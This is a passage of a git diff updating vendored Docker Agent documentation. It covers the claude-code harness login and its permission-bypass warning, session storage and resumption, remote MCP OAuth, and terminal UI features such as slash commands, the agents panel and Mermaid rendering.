Agent produces: - **Console summary** — Pass/fail status per eval with metric breakdowns - **JSON results** — Full structured results for programmatic analysis diff --git a/_vendor/github.com/docker/docker-agent/docs/features/harnesses/index.md b/_vendor/github.com/docker/docker-agent/docs/features/harnesses/index.md index 2acd78c4bb40..b091bfea3ec9 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/harnesses/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/harnesses/index.md @@ -33,7 +33,7 @@ The external CLI must be installed and available on `PATH` before starting Docke | `opencode` | `opencode` | [opencode.ai](https://opencode.ai) | | `pi` | `pi` | Refer to the `pi` CLI documentation for installation instructions. | -Docker Agent will report an error at session start if the required binary is not found. +Docker Agent will report an error at session start if the required binary is not found. The `claude-code` harness additionally needs the CLI to be logged in — see [Authentication](#authentication-claude-subscription-no-api-key) below. ## Configuration @@ -54,8 +54,8 @@ Harness agents do **not** need a `model:` field — the external CLI manages its | Field | Applies to | Type | Description | | --- | --- | --- | --- | | `type` | all | string | **Required.** One of `claude-code`, `codex`, `opencode`, `pi` | -| `model` | all | string | Optional model override forwarded to the CLI | -| `effort` | `claude-code` | string | Reasoning effort: `low` \| `medium` \| `high` \| `max` — forwarded as `--effort` | +| `model` | all | string | Optional model override forwarded to the CLI. When omitted, the CLI uses its own default model. | +| `effort` | `claude-code` | string | Reasoning effort: `low` \| `medium` \| `high` \| `xhigh` \| `max` — forwarded as `--effort`. When omitted, Claude Code uses its own default. | | `agent` | `opencode` | string | opencode agent profile name | | `thinking` | `opencode` | boolean | Enable extended thinking — forwarded as `--thinking` | @@ -67,9 +67,67 @@ agents: description: Claude Code coding agent harness: type: claude-code - effort: high # low | medium | high | max + model: claude-sonnet-4-5 # optional: alias (sonnet, opus, haiku) or full model ID + effort: high # low | medium | high | xhigh | max ``` +- `model` accepts whatever the `claude` CLI accepts for `--model`: an alias + like `sonnet`, `opus`, or `haiku`, or a full model ID like + `claude-sonnet-4-5`. Omit it to use Claude Code's own default model. This is + **not** a Docker Agent `provider/model` reference — the harness model never + goes through Docker Agent's model providers or routing. +- `effort` is forwarded as `--effort` and must be one of `low`, `medium`, + `high`, `xhigh`, or `max`. Omit it to use Claude Code's own default. + +#### Authentication (Claude subscription, no API key) + +The `claude-code` harness runs the official CLI with the CLI's **own login**. +A Claude (claude.ai) subscription sign-in is all it needs — no +`ANTHROPIC_API_KEY` and no Docker Agent model credential are required for the +harness agent itself. Log in once: + +```bash +$ claude auth login --claudeai # interactive, opens a browser +$ claude auth status --text # verify the login +``` + +The login is stored per OS user by the CLI (in its own configuration and, on +macOS, the keychain) and is found via `HOME` and the process environment. Run +the login **as the same OS user and environment that run `docker agent`** — a +login made under another user, container, or `sudo` context is invisible to +the harness. Docker Agent never reads, copies, or stores the CLI's tokens; it +only launches `claude`, which authenticates itself. + +If the CLI is not logged in when a harness agent runs, the `claude` subprocess +fails at session start and the agent reports a harness error — Docker Agent +never opens a browser or starts a login on its own. Diagnose and fix with: + +```bash +$ docker agent doctor ./agent.yaml # checks install + login for claude-code harness files +$ docker agent setup # pick "Claude Code harness" to be walked through it +``` + +`docker agent doctor ` probes the CLI only when the file declares a +`claude-code` harness, and reports installation, version, and safe login +metadata (auth method, API provider, subscription type — never your email, +organization, or tokens). `docker agent setup` offers to run the official +`claude auth login --claudeai` for you (only after you confirm) and writes a +ready-to-run `claude-code-agent.yaml`. + +> [!WARNING] +> **The harness bypasses Claude Code's permission prompts** +> +> Docker Agent runs the CLI non-interactively with its own tools and passes +> `--dangerously-skip-permissions`: Claude Code edits files and runs commands +> without asking. Only point a harness agent at a repository you trust, and +> prefer isolation — `docker agent run --worktree` runs it on an isolated git +> worktree, keeping its changes off your checkout (a worktree with work, or +> from a non-interactive run, is kept for inspection per the normal cleanup +> rules). `docker agent run --sandbox` does not automatically carry the +> `claude` CLI or its login into the sandbox, so it cannot isolate the +> harness unless the sandbox image is separately provisioned and +> authenticated. + ### Codex ```yaml @@ -114,6 +172,29 @@ The `model_id` field in hook payloads is set to the harness label (e.g. `claude- See [Hooks](../../configuration/hooks/index.md) for the full hook reference. +## Recipe: Root Harness Agent + +The simplest setup: a single root agent that hands everything to Claude Code. +No `models:` section, no API key — the CLI's subscription login does the work. +This is exactly the file `docker agent setup` generates for the Claude Code +harness path (as `claude-code-agent.yaml`). + +```yaml +# claude-code-agent.yaml +agents: + root: + description: Claude Code running on your Claude subscription + harness: + type: claude-code + effort: medium # low | medium | high | xhigh | max; omit for the Claude Code default + # model: claude-sonnet-4-5 # optional; omit for the Claude Code default +``` + +```bash +$ docker agent run claude-code-agent.yaml +$ docker agent doctor claude-code-agent.yaml # verify the CLI is installed and logged in +``` + ## Recipe: Orchestrator + Harness Sub-Agents (Sequential) An orchestrator plans the work and delegates to specialized harness agents one at a time. Each coding agent runs in its own sub-session and reports results back. @@ -142,7 +223,8 @@ agents: description: Claude Code specialist for complex refactors harness: type: claude-code - effort: high + model: claude-sonnet-4-5 + effort: xhigh codex-coder: description: Codex specialist for code generation @@ -150,6 +232,10 @@ agents: type: codex ``` +Only the orchestrator's `model: claude` needs an Anthropic API key — the +`claude-coder` harness agent authenticates through the CLI's own subscription +login. + The root agent calls `transfer_task` to send work to a harness sub-agent, waits for the result, and continues. See the [full example on GitHub](https://github.com/docker/docker-agent/blob/main/examples/coding_harnesses.yaml). ## Recipe: Parallel Harness Dispatch diff --git a/_vendor/github.com/docker/docker-agent/docs/features/mcp-mode/index.md b/_vendor/github.com/docker/docker-agent/docs/features/mcp-mode/index.md index 2609d5e35718..569ef91be011 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/mcp-mode/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/mcp-mode/index.md @@ -1,12 +1,12 @@ --- title: "MCP Mode" -description: "Expose your docker-agent agents as MCP tools for use in Claude Desktop, Claude Code, and other MCP-compatible applications." +description: "Expose your Docker Agent agents as MCP tools for use in Claude Desktop, Claude Code, and other MCP-compatible applications." keywords: docker agent, ai agents, features, mcp mode weight: 40 canonical: https://docs.docker.com/ai/docker-agent/features/mcp-mode/ --- -_Expose your docker-agent agents as MCP tools for use in Claude Desktop, Claude Code, and other MCP-compatible applications._ +_Expose your Docker Agent agents as MCP tools for use in Claude Desktop, Claude Code, and other MCP-compatible applications._ ## Why MCP Mode? diff --git a/_vendor/github.com/docker/docker-agent/docs/features/remote-mcp/index.md b/_vendor/github.com/docker/docker-agent/docs/features/remote-mcp/index.md index 2de5640871d6..88a38c9b47b1 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/remote-mcp/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/remote-mcp/index.md @@ -1,16 +1,16 @@ --- title: "Remote MCP Servers" -description: "Connect docker-agent to cloud services via remote MCP servers with built-in OAuth authentication." +description: "Connect Docker Agent to cloud services via remote MCP servers with built-in OAuth authentication." keywords: docker agent, ai agents, features, remote mcp servers weight: 120 canonical: https://docs.docker.com/ai/docker-agent/features/remote-mcp/ --- -_Connect docker-agent to cloud services via remote MCP servers with built-in OAuth authentication._ +_Connect Docker Agent to cloud services via remote MCP servers with built-in OAuth authentication._ ## Overview -Docker Agent supports connecting to remote MCP servers over **Streamable HTTP**, **SSE** (Server-Sent Events), and **Unix domain sockets**. Streamable HTTP is the current recommended transport for most hosted MCP servers. Many popular services offer MCP endpoints with OAuth — docker-agent handles the authentication flow automatically. +Docker Agent supports connecting to remote MCP servers over **Streamable HTTP**, **SSE** (Server-Sent Events), and **Unix domain sockets**. Streamable HTTP is the current recommended transport for most hosted MCP servers. Many popular services offer MCP endpoints with OAuth — Docker Agent handles the authentication flow automatically. ```yaml toolsets: @@ -22,7 +22,7 @@ toolsets: ## Unix Domain Sockets -Use a `unix://` URL to connect to an MCP server listening on a local Unix socket. This is useful when running docker-agent inside a container and exposing an MCP server from the host via a bind-mounted socket: +Use a `unix://` URL to connect to an MCP server listening on a local Unix socket. This is useful when running Docker Agent inside a container and exposing an MCP server from the host via a bind-mounted socket: ```yaml toolsets: @@ -37,7 +37,7 @@ The path after `unix://` is the absolute path to the socket file. Configured `he > [!TIP] > **OAuth flow** > -> When you connect to a remote MCP server that requires OAuth, docker-agent opens your browser automatically for authentication. Tokens are cached for subsequent sessions. +> When you connect to a remote MCP server that requires OAuth, Docker Agent opens your browser automatically for authentication. Tokens are cached for subsequent sessions. > [!TIP] > **Cancelling the authorization dialog** @@ -73,30 +73,30 @@ Set `allow_private_ips: true` on a remote MCP toolset only when the MCP server o > Header values in `remote.headers` support `${env.VAR}` and `${headers.NAME}` placeholders. Both are resolved on every outbound HTTP request (not just once at initialization), so short-lived credentials and forwarded caller headers always reflect the latest values: > > - `${env.VAR}` — reads the named environment variable. Useful for credentials stored in a secret manager that rotates them in-process. -> - `${headers.NAME}` — forwards the named header from the caller's incoming HTTP request. Only meaningful when docker-agent is running as an API server (`docker agent serve api`) and a client passes authentication headers that the upstream MCP server also accepts. +> - `${headers.NAME}` — forwards the named header from the caller's incoming HTTP request. Only meaningful when Docker Agent is running as an API server (`docker agent serve api`) and a client passes authentication headers that the upstream MCP server also accepts. > [!NOTE] > **Automatic reconnection after idle timeouts** > -> Remote MCP connections (Streamable HTTP / SSE) automatically reconnect after the server closes an idle connection — no configuration needed. Services like Notion and Linear close idle connections periodically; docker-agent detects the clean close and reconnects with exponential backoff. To tune reconnect behaviour or disable reconnection entirely, use the [`lifecycle` block](../../configuration/tools/index.md#toolset-lifecycle). +> Remote MCP connections (Streamable HTTP / SSE) automatically reconnect after the server closes an idle connection — no configuration needed. Services like Notion and Linear close idle connections periodically; Docker Agent detects the clean close and reconnects with exponential backoff. To tune reconnect behaviour or disable reconnection entirely, use the [`lifecycle` block](../../configuration/tools/index.md#toolset-lifecycle). > [!NOTE] > **Automatic recovery from revoked or rotated OAuth tokens** > -> If a remote MCP server rejects the cached token with a `401 invalid_token` error (for example, because the token was revoked or rotated server-side), docker-agent handles the failure automatically: +> If a remote MCP server rejects the cached token with a `401 invalid_token` error (for example, because the token was revoked or rotated server-side), Docker Agent handles the failure automatically: > -> - **Silent refresh:** when a refresh token is available, docker-agent silently exchanges it for a new access token and replays the request — no user interaction required. +> - **Silent refresh:** when a refresh token is available, Docker Agent silently exchanges it for a new access token and replays the request — no user interaction required. > - **Re-authentication prompt:** when the refresh token is absent or has also expired, the toolset transitions to a "needs re-auth" state and surfaces an OAuth prompt on your next message (exactly like the first-time flow). > > Either way, the agent never burns 5 reconnect attempts on an auth failure — it fails fast and either refreshes silently or defers to interactive re-auth. If you want to trigger re-auth immediately without waiting for the next message, run `/toolset-restart ` from the TUI. ### OAuth for servers without Dynamic Client Registration -Most remote MCP servers that require OAuth support [Dynamic Client Registration (RFC 7591)](https://datatracker.ietf.org/doc/html/rfc7591) — no configuration is needed, docker-agent handles the flow for you. +Most remote MCP servers that require OAuth support [Dynamic Client Registration (RFC 7591)](https://datatracker.ietf.org/doc/html/rfc7591) — no configuration is needed, Docker Agent handles the flow for you. -For servers that do **not** support DCR, docker-agent falls back automatically: +For servers that do **not** support DCR, Docker Agent falls back automatically: -1. **Interactive credential prompt**: docker-agent presents a dialog asking for your `client_id` (required) and optionally a `client_secret`. This covers servers that require pre-registered app credentials but don't advertise them via DCR. +1. **Interactive credential prompt**: Docker Agent presents a dialog asking for your `client_id` (required) and optionally a `client_secret`. This covers servers that require pre-registered app credentials but don't advertise them via DCR. 2. **Explicit `oauth:` block** (recommended when you know the credentials in advance): add the block described below to skip the interactive prompt and supply credentials directly in config. ```yaml @@ -118,7 +118,7 @@ toolsets: | -------------- | --------------- | -------- | ------------------------------------------------------------------------------------------------ | | `clientId` | string | ✓ | OAuth client ID registered with the remote MCP server. | | `clientSecret` | string | ✗ | OAuth client secret. Omit for public clients using PKCE. | -| `callbackPort` | integer | ✗ | Local port to receive the OAuth redirect. If omitted, docker-agent picks a random free port. | +| `callbackPort` | integer | ✗ | Local port to receive the OAuth redirect. If omitted, Docker Agent picks a random free port. | | `scopes` | array[string] | ✗ | Scopes to request during the authorization step. Values are server-specific. | | `callbackRedirectURL` | string | ✗ | Custom OAuth redirect URI. Useful when the auth server requires HTTPS or a pre-registered URL. The literal placeholder `${callbackPort}` is replaced with the actual local callback port. See below. | @@ -156,7 +156,7 @@ The local callback server still listens on the loopback interface on `callbackPo ### Unmanaged OAuth flow (server mode) -When running `docker-agent serve api` (no local browser, no callback server), the runtime delegates the OAuth dance to the connected client via an MCP elicitation. There are two sub-behaviors, selected by the `--mcp-oauth-redirect-uri` flag: +When running `docker agent serve api` (no local browser, no callback server), the runtime delegates the OAuth dance to the connected client via an MCP elicitation. There are two sub-behaviors, selected by the `--mcp-oauth-redirect-uri` flag: - **`--mcp-oauth-redirect-uri=` set** (recommended for hosts like Docker Desktop): the runtime generates `state` + PKCE + (optional) Dynamic Client Registration in-process, builds the full authorize URL, and emits an elicitation whose `Meta` includes: diff --git a/_vendor/github.com/docker/docker-agent/docs/features/sessions/index.md b/_vendor/github.com/docker/docker-agent/docs/features/sessions/index.md new file mode 100644 index 000000000000..dd264814b476 --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/features/sessions/index.md @@ -0,0 +1,135 @@ +--- +title: "Sessions" +description: "How Docker Agent stores conversations, resumes them across runs, and tracks their token cost." +keywords: docker agent, ai agents, features, sessions +weight: 25 +canonical: https://docs.docker.com/ai/docker-agent/features/sessions/ +--- + +_How Docker Agent stores conversations, resumes them across runs, and tracks their token cost._ + +## What a Session Is + +Every `docker agent run` creates or resumes a **session**: the record of a conversation, including every message, tool call, sub-agent run, and cost. Sessions are what makes `/undo`, `/sessions`, `--session `, and cost tracking possible — the agent itself is stateless between runs, but the session is not. + +A session is only persisted to disk once it has content (the first message added), so a run you cancel before sending anything never leaves an empty session behind. + +## Where Sessions Are Stored + +Sessions live in a SQLite database, `session.db`, under the [data directory](../cli/index.md#global-flags) (`~/.cagent` by default): + +```bash +$ ls ~/.cagent/session.db +``` + +Override the location with `-s`/`--session-db`, or by overriding the data directory itself with `--data-dir`: + +```bash +# Use a project-local session database instead of the global one +$ docker agent run agent.yaml --session-db ./sessions.db +``` + +## Resuming a Session + +Pass `--session ` to continue a previous conversation instead of starting a new one: + +```bash +# Resume by explicit session ID +$ docker agent run agent.yaml --session 3f9c1e2a-... + +# Resume the most recently created session +$ docker agent run agent.yaml --session -1 + +# Resume the session created before that one +$ docker agent run agent.yaml --session -2 +``` + +`--session` accepts two kinds of reference: + +- **A relative offset** (`-1`, `-2`, …): sessions are ordered by **creation time**, newest first — `-1` is the most recently *created* session, `-2` the one created before it, and so on. This is creation order, not last-used order: resuming an older session with `--session ` does not make it the new `-1`; the next `-1` still resolves to whichever session was created most recently. A relative offset that has no matching session (for example `-1` with an empty database) is an error. +- **An explicit ID**: if a session with that ID already exists, it is resumed. If it doesn't exist yet, docker agent **creates it with that ID** instead of failing. This lets a supervisor (for example a board or a script) choose a session ID up front and reuse it across runs — the first run creates the session, later runs resume it. + +## Read-Only Sessions + +Add `--session-read-only` to open a session for viewing without sending new messages — useful for reviewing a past conversation without accidentally continuing it: + +```bash +$ docker agent run agent.yaml --session -1 --session-read-only +``` + +`--session-read-only` requires the TUI: it cannot be combined with `--exec`, since there would be nothing to display without one. + +## Browsing Sessions in the TUI + +Press `/sessions` to open the session browser: search and filter past conversations, see which ones were started in the current working directory ("This workspace") versus elsewhere ("Other locations"), and restore one with Enter. Restoring a session reopens it in its original working directory. See [Session Management](../tui/index.md#session-management) in the Terminal UI docs for the full set of session-browser and session-title features (starring, branching by editing a past message, and so on). + +### Tabs + +Ctrl+T opens a new tab running an additional agent session alongside the current one; Ctrl+N/Ctrl+P cycle between tabs and Ctrl+W closes the current one. By default, tabs are not restored the next time you launch the TUI. Set `restore_tabs: true` in your user config to reopen the same tabs (and their sessions) on the next launch: + +```yaml +# ~/.config/cagent/config.yaml +settings: + restore_tabs: true +``` + +## Session Titles + +Docker Agent auto-generates a short title for each session from your first message, using a one-shot call to the agent's own model. Point that call at a smaller, cheaper model instead with `title_model` on a model definition: + +```yaml +# examples/title_model.yaml +models: + primary: + provider: anthropic + model: claude-sonnet-4-5 + # Generate session titles with the cheaper Haiku model instead of Sonnet. + title_model: fast + fast: + provider: anthropic + model: claude-haiku-4-5 + +agents: + root: + model: primary + description: An assistant that generates session titles with a cheaper model. + instruction: You are a helpful assistant. +``` + +When `title_model` is omitted, title generation reuses the agent's own model. Set or regenerate a title from inside the TUI with `/title` (see [Session Title Editing](../tui/index.md#session-title-editing)) — regenerating sends every user message in the session so far, not just the first — or generate one from the command line without starting a session at all: + +```bash +$ docker agent debug title agent.yaml "How do I configure a fallback model?" +``` + +See [`docker agent debug title`](../cli/index.md#docker-agent-debug) for details. + +## Usage & Cost Tracking + +Every tracked model call — the main conversation turns and compaction calls — updates the session's cumulative input/output token counts and cost. Check them at any time with `/cost` in the TUI, or disable tracking per-model with `track_usage: false` if you don't want a model's calls counted (for example, a free local model). Auxiliary one-shot calls the runtime makes on your behalf, such as automatic session-title generation, call the model directly and are not folded into this total. + +Cost is computed from the [models.dev](https://models.dev/) pricing catalogue by default. For a custom endpoint, a private deployment, or a negotiated enterprise rate the catalogue doesn't know about, declare pricing explicitly with a model's `cost:` block: + +```yaml +# examples/custom-pricing.yaml +models: + internal-gpt: + provider: internal-llm + model: gpt-4o + cost: + input: 1.25 # USD per 1M input tokens + output: 5.00 # USD per 1M output tokens + cache_read: 0.125 # USD per 1M cached input tokens + cache_write: 1.5625 # USD per 1M cache-write tokens +``` + +An all-zero `cost:` table means "priced, free" — distinct from a model with no `cost:` at all, which falls back to the catalogue (and bills $0 for models the catalogue doesn't know). + +> [!NOTE] +> **Cost never decreases** +> +> A session's cumulative cost is a running total updated after every *tracked* model call — the same main conversation turns and compaction calls described above. Compacting the conversation (manually with `/compact`, or automatically — see the agent's `session_compaction`/`compaction_threshold` fields in the [Agent Config reference](../../configuration/agents/index.md)) reshapes the message history sent back to the model, but never touches this running total. Auxiliary one-shot calls such as automatic session-title generation are not tracked and are not reflected in this total: `/cost` covers everything the session's tracked calls have spent, not literally every model call the runtime makes on your behalf. + +## Resuming Into a Worktree + +A session created during a `--worktree` run remembers which worktree it used. Resuming it with `--session` reattaches to the same worktree directory and branch automatically — you don't need to pass `--worktree` again. See [`--worktree`](../cli/index.md#docker-agent-run) in the CLI reference for the full worktree lifecycle. diff --git a/_vendor/github.com/docker/docker-agent/docs/features/skills/index.md b/_vendor/github.com/docker/docker-agent/docs/features/skills/index.md index 92bb74ca1bce..bba760387a0a 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/skills/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/skills/index.md @@ -10,7 +10,7 @@ _Skills provide specialized instructions that agents can load on demand when a t ## How Skills Work -1. docker-agent scans standard directories for `SKILL.md` files +1. Docker Agent scans standard directories for `SKILL.md` files 2. Skill metadata (name, description) is injected into the agent's system prompt 3. When a user request matches a skill, the agent reads the full instructions 4. The agent follows the skill's detailed instructions to complete the task @@ -342,7 +342,7 @@ When multiple skills share the same name: ## Skills in Sandbox Mode -When you run an agent with [`--sandbox`](../../configuration/sandbox/index.md), the sandbox VM has its own filesystem with no access to your host's skill directories. docker-agent handles this transparently via the [auto-kit](../../configuration/sandbox/index.md#auto-kit): every discovered local skill is staged into a per-agent kit on the host, run through best-effort secret redaction (see the [auto-kit](../../configuration/sandbox/index.md#secret-redaction) docs), and bind-mounted read-only into the sandbox so the agent sees the same skills inside the VM as on the host. No configuration is required — use `--no-kit` only if you explicitly want to run the sandbox without any host skills. +When you run an agent with [`--sandbox`](../../configuration/sandbox/index.md), the sandbox VM has its own filesystem with no access to your host's skill directories. Docker Agent handles this transparently via the [auto-kit](../../configuration/sandbox/index.md#auto-kit): every discovered local skill is staged into a per-agent kit on the host, run through best-effort secret redaction (see the [auto-kit](../../configuration/sandbox/index.md#secret-redaction) docs), and bind-mounted read-only into the sandbox so the agent sees the same skills inside the VM as on the host. No configuration is required — use `--no-kit` only if you explicitly want to run the sandbox without any host skills. ## Creating a Skill diff --git a/_vendor/github.com/docker/docker-agent/docs/features/snapshots/index.md b/_vendor/github.com/docker/docker-agent/docs/features/snapshots/index.md index d3bd939421e0..bc624bf89123 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/snapshots/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/snapshots/index.md @@ -10,9 +10,9 @@ _Shadow-git snapshots capture your workspace at turn boundaries so you can revie ## Overview -When snapshots are enabled, docker-agent records the state of your working +When snapshots are enabled, Docker Agent records the state of your working directory as the agent runs. Each checkpoint is stored in a **shadow git -repository** kept under the docker-agent data directory — completely separate +repository** kept under the Docker Agent data directory — completely separate from your project's own `.git`. This lets you: - **Review** exactly which files an agent touched on a given turn. @@ -84,7 +84,7 @@ when snapshots are turned off. ## How It Works - **Shadow repository.** The first time a snapshot is taken for a worktree, - docker-agent initializes a separate shadow git directory under the data + Docker Agent initializes a separate shadow git directory under the data directory (`~/.cagent/snapshot/...` by default), keyed by a hash of the worktree path. The shadow repo stores tree objects only — it never writes commits and never touches your source repository's `.git`. diff --git a/_vendor/github.com/docker/docker-agent/docs/features/tui/index.md b/_vendor/github.com/docker/docker-agent/docs/features/tui/index.md index 510737cfbc5f..216d4fd9ff0b 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/tui/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/tui/index.md @@ -1,15 +1,15 @@ --- title: "Terminal UI (TUI)" -description: "docker-agent's default interface is a rich, interactive terminal UI with file attachments, themes, session management, and more." +description: "Docker Agent's default interface is a rich, interactive terminal UI with file attachments, themes, session management, and more." keywords: docker agent, ai agents, features, terminal ui (tui) linkTitle: "Terminal UI" weight: 10 canonical: https://docs.docker.com/ai/docker-agent/features/tui/ --- -_docker-agent's default interface is a rich, interactive terminal UI with file attachments, themes, session management, and more._ +_Docker Agent's default interface is a rich, interactive terminal UI with file attachments, themes, session management, and more._ -![docker-agent TUI in action showing an interactive agent session](../../demo.gif) +![Docker Agent TUI in action showing an interactive agent session](../../demo.gif) ## Launching the TUI @@ -55,10 +55,12 @@ settings: lean: true ``` -Omit `lean` or set it to `false` to keep the full TUI as the default. You can still use `--lean` for a single run, or `--lean=false` to use the full TUI when `settings.lean` is enabled. +Omit `lean` or set it to `false` to keep the full TUI as the default. You can still use `--lean` for a single run, or `--lean=false` to use the full TUI when `settings.lean` is enabled. See [User Settings](../../configuration/user-settings/index.md) for the full precedence rules between flags and user config. The lean TUI supports **steering**: messages submitted while the agent is running are queued and delivered to the active session. Pending steering messages appear with muted styling at the end of the live stream so you can see what will be sent next. +The lean TUI supports a focused set of slash commands: `/new`, `/compact`, `/model`, `/effort`, `/clear`, `/help`, `/exit` (alias: `/quit`), plus any agent-defined commands. Type `/model` (or `/model `) to switch the active model inline — the command opens a fuzzy-searchable list of available models. + ## Slash Commands Type `/` during a session to see available commands, or press Ctrl+K for the command palette: @@ -76,7 +78,7 @@ Type `/` during a session to see available commands, or press Ctrl+`, or `/effort` alone to pick from the supported levels; reasoning models only) | +| `/effort` | Set the current model's reasoning-effort level (`/effort `, or `/effort` alone to pick from the supported levels; reasoning models only). Press Tab after `/effort` and a space to complete a level the current model supports | | `/settings` | Manage appearance, behavior, and notification preferences | | `/yolo` | Toggle automatic tool call approval | | `/title` | Set or regenerate session title | @@ -84,22 +86,29 @@ Type `/` during a session to see available commands, or press Ctrl+Enter on a live session to explicitly compact it, or d on an attached file to drop it | -| `/drop` | Remove an attached file from the session context (`/drop `, or `/drop` alone to review and drop from the `/context` dialog) | -| `/cost` | Show cost breakdown for this session | +| `/drop` | Remove an attached file from the session context (`/drop `, or `/drop` alone to review and drop from the `/context` dialog). Press Tab after `/drop` and a space to complete an attached file's path | +| `/cost` | Show cost breakdown for this session. Includes a **By Agent** section (alongside **By Model**) showing cumulative cost per agent; unattributed usage and compaction spend appear in their own buckets. | | `/eval` | Create an evaluation report | | `/pause` | Pause/resume the runtime loop. While the agent is mid-request, the resize handle shows "Pausing…" until the in-flight request completes; once the loop is blocked the indicator changes to "⏸ Paused". Run `/pause` again to resume. | | `/tools` | Show every toolset (with lifecycle state) and the tools they expose | | `/skills` | List skills available to the current agent | -| `/toolset-restart` | Force a supervisor-driven reconnect of the named toolset (`/toolset-restart `) | +| `/toolset-restart` | Force a supervisor-driven reconnect of the named toolset (`/toolset-restart `). Press Tab after `/toolset-restart` and a space to complete a toolset name; non-restartable toolsets are shown dimmed and cannot be selected. | | `/permissions` | Inspect and edit tool permission rules | | `/speak` | Voice input via system speech-to-text (macOS only) | | `/exit` | Exit the application (aliases: `/quit`, `/q`) | Slash commands (both built-in and named) execute immediately when entered. Regular chat messages sent while the agent is working are steered into the ongoing stream by default: the agent picks them up mid-turn (they appear in the transcript at the point the agent sees them) without breaking the stream. Prefer the previous end-of-turn behavior? Switch **While agent is working** to `Queue` on the **Behavior** tab of `/settings`; queued messages are processed in order once the stream stops. +Agent-defined commands (prompts, URL links, agent-switching shortcuts) are configured under `commands:` in the agent YAML — see [Custom Commands](../../configuration/commands/index.md) for the full reference, including how to hide commands with `--disable-commands`. + ### Agents Panel -The sidebar's **Agents** section lists every agent in the team. The current agent is shown as a focus **card** (rendered in place at its position in the list) with its name, a wrapped description, its full `provider/model`, and a thinking line. Every other agent is shown as a compact **two-line row** — line 1 is the shortcut/spinner, the agent name (in its accent color), and a right-aligned thinking **gauge**; line 2 is the indented full `provider/model` — so a large team stays scannable while still showing each model. Once an agent has run (in the main session, as a delegated sub-agent, or as a background agent task), line 2 also carries its latest **context usage** as a right-aligned percentage of its context window, so per-agent context accounting is visible at a glance across the whole team. Agents are separated by a blank line so the two-line rows stay visually distinct. The effort **gauge** is the only visual language for thinking; the focus card and the Agent Inspector spell out the exact level alongside it. Left-click any agent to switch to it. +The sidebar's **Agents** section lists every agent in the team and has two display modes selectable via **Sidebar info mode** in `/settings`: + +- **Compact** (default) — The current agent is shown as a focus **card** (rendered in place at its position in the list) with its name, a wrapped description, its full `provider/model`, and a thinking line. Every other agent is shown as a compact **two-line row** — line 1 is the shortcut/spinner, the agent name (in its accent color), and a right-aligned thinking **gauge**; line 2 is the indented full `provider/model` and, once the agent has run, its latest **context usage** as a right-aligned percentage of its context window. +- **Detailed** — Each agent is shown as a responsive card with labeled **Effort**, **Context**, and **Cost** metrics on a single line (or split across lines at narrow sidebar widths), making cumulative per-agent cost visible at a glance across the team. + +Agents are separated by a blank line so rows stay visually distinct. The effort **gauge** is the only visual language for thinking; the focus card and the Agent Inspector spell out the exact level alongside it. Left-click any agent to switch to it. #### Agent inspector @@ -115,6 +124,7 @@ The title is rendered in the agent's accent color. Sections appear in this order - **Live state** — a `● current agent` line when the inspected agent is the one currently running. - **Model / Fallback / Thinking** — the `provider/model`, any fallback models, and the gauge + value thinking line (omitted for models with no selectable thinking, e.g. harness-backed agents). - **Context** — the agent's latest known context usage, e.g. `Context: 12.8K of 128.0K tokens (10%)` (a bare token count when the context limit is unknown; omitted until the agent has run). Sub-agent and background-agent runs are accounted for. +- **Cost** — the agent's cumulative cost across all runs in the session tree. Repeated session snapshots are not double-counted. Omitted until the agent has run. - **Sub-agents (N) / Handoffs (N) / Skills (N)** — compact, inline, comma-separated lists wrapped to the dialog width. - **Limits** — the configured per-agent limits that are set, e.g. `Limits: max-iter 50 · history 40 · max-tool-calls 5`. - **Options** — the enabled option flags, e.g. `Options: add-date · add-environment-info · redact-secrets`. @@ -197,7 +207,26 @@ settings: expand_thinking: true ``` -Set it to `false` or omit it to keep the default collapsed behavior. +Set it to `false` or omit it to keep the default collapsed behavior. See [User Settings](../../configuration/user-settings/index.md) for the full settings reference. + +### Mermaid Diagrams + +The TUI renders Mermaid diagram blocks inline rather than displaying raw syntax. When an assistant message contains a fenced code block tagged ` ```mermaid `, the TUI parses the diagram and draws an ASCII representation directly in the conversation: + +| Diagram type | Support | +| ---------------------------------------------- | ------------------------------------------------- | +| `graph` / `flowchart` | ✅ Rendered inline | +| `sequenceDiagram` | ✅ Rendered inline | +| `stateDiagram` / `stateDiagram-v2` | ✅ Rendered inline | +| Other types (`classDiagram`, `erDiagram`, …) | Falls back to a syntax-highlighted code block | + +Mermaid rendering works in both the full TUI and the lean TUI. Unsupported or syntactically invalid diagram blocks are displayed as ordinary fenced code blocks — no configuration is required and there is no way to disable it. + +### Markdown Images + +The TUI fetches and renders images referenced in agent responses using the Kitty graphics protocol. When an assistant message contains a standard Markdown image reference, the TUI downloads the image in the background and displays it inline at the point of the reference. While the image is loading a placeholder is shown; once loaded, the message re-renders with the image in place. + +Only `http://`, `https://`, and `data:image/…;base64,…` URIs are resolved. `file://`, `sandbox://`, and any other URI scheme are rejected as a security measure against prompt-injection attacks that could otherwise read local files. Bare relative paths (e.g. `./output.png`, used for agent-generated images) are read via the local filesystem. Images that fail to load are silently dropped — the surrounding message text is unaffected. Image rendering requires a terminal that supports the Kitty graphics protocol; it is automatically disabled when the terminal does not support it. You can also disable it explicitly via `render_images: false` in `~/.config/cagent/config.yaml` or the **Render images** toggle in `/settings`. ### Snapshots, `/undo`, and `/snapshots` @@ -208,7 +237,7 @@ settings: snapshot: true ``` -When enabled, docker-agent records filesystem snapshots at turn boundaries. The TUI exposes two slash commands that operate on those snapshots: +When enabled, Docker Agent records filesystem snapshots at turn boundaries. The TUI exposes two slash commands that operate on those snapshots: - **`/undo`** restores files from the most recent snapshot (one step back). - **`/snapshots`** opens a dialog showing how many snapshots have been captured and the number of files in each one. Use ↑/↓ (or j/k) to highlight an entry, then press r to reset the workspace to that point. Pick `` to revert every snapshot and bring the workspace back to its pre-agent state. Esc closes the dialog without changing anything. @@ -232,7 +261,7 @@ Explain what the code in 